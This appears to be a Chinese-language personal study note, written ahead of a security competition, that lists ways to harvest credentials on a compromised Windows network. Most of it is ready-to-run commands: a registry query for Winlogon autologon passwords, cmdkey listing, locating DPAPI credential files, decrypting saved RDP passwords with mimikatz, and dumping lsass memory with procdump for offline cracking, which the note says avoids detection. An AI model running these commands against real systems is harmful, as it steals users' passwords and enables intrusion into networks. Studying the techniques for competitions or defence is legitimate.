内网凭据收集

前言

快要市赛了，这里总结一下常见内网凭据收集的方式。

winlogon

查注册表，是否有自动登录，如果有就可以拿到明文密码直接登录了（可以用winpeas扫出来）

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

rdp

Windows 的 Credentials 文件夹存放DPAPI 加密的 RDP、网页、共享文件夹凭据缓存，远程桌面 RDP 保存的账号密码都会使用masterkey加密存在这里。

查看连接记录

cmdkey /list

查找本地的Credentials，系统文件默认是隐藏的，需要设置显示隐藏文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

dir /a C:\Users\Administrator\AppData\Local\Microsoft\Credentials\*
gci "C:\Users\Administrator\AppData\Local\Microsoft\Credentials\" -Force

在线读取rdp明文密码

使用mimikatz获取该文件的guidMasterKey值

mimikatz # privilege::debug

mimikatz # dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7

#一键命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01" exit

通过guidMasterKey值找到内存中对应的MasterKey

mimikatz # sekurlsa::dpapi

#一键命令
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

最后mimikatz用masterkey解密凭据

mimikatz # dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6

#一键命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01 /masterkey:0541b84285d48012015ae28a75935a53eedcca0423d74e9c34c10a82c6991015f371097e61bc6d927e82a80bbdb0cdcd1e00431a7f93e65a209b7150f80c1eba" exit

使用下面的命令查看获取到的所有的masterkey

mimikatz # dpapi::cache

离线读取rdp明文密码

原理很简单，就是把凭据文件和lsass内存下载到本地破解， 这样就避免被对方发现。

导出lsass内存ProcDump - Sysinternals | Microsoft Learn

Procdump.exe -accepteula -ma lsass.exe lsass.dump

下载lsass.dmp和凭据文件到本地，然后用mimikatz载入内存

Sekurlsa::minidump lsass.dump

获取Credentials的GUID

dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7

获取内存中所有的MasterKey，找到GUID对应的

sekurlsa::dpapi

利用MasterKey解密

dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6

参考

[内网]RDP远程桌面密码凭证获取_查看远程桌面保存的密码-CSDN博客

Windows RDP凭证的抓取和密码破解 - candada - 博客园

获取已控机器本地保存的RDP密码-腾讯云开发者社区-腾讯云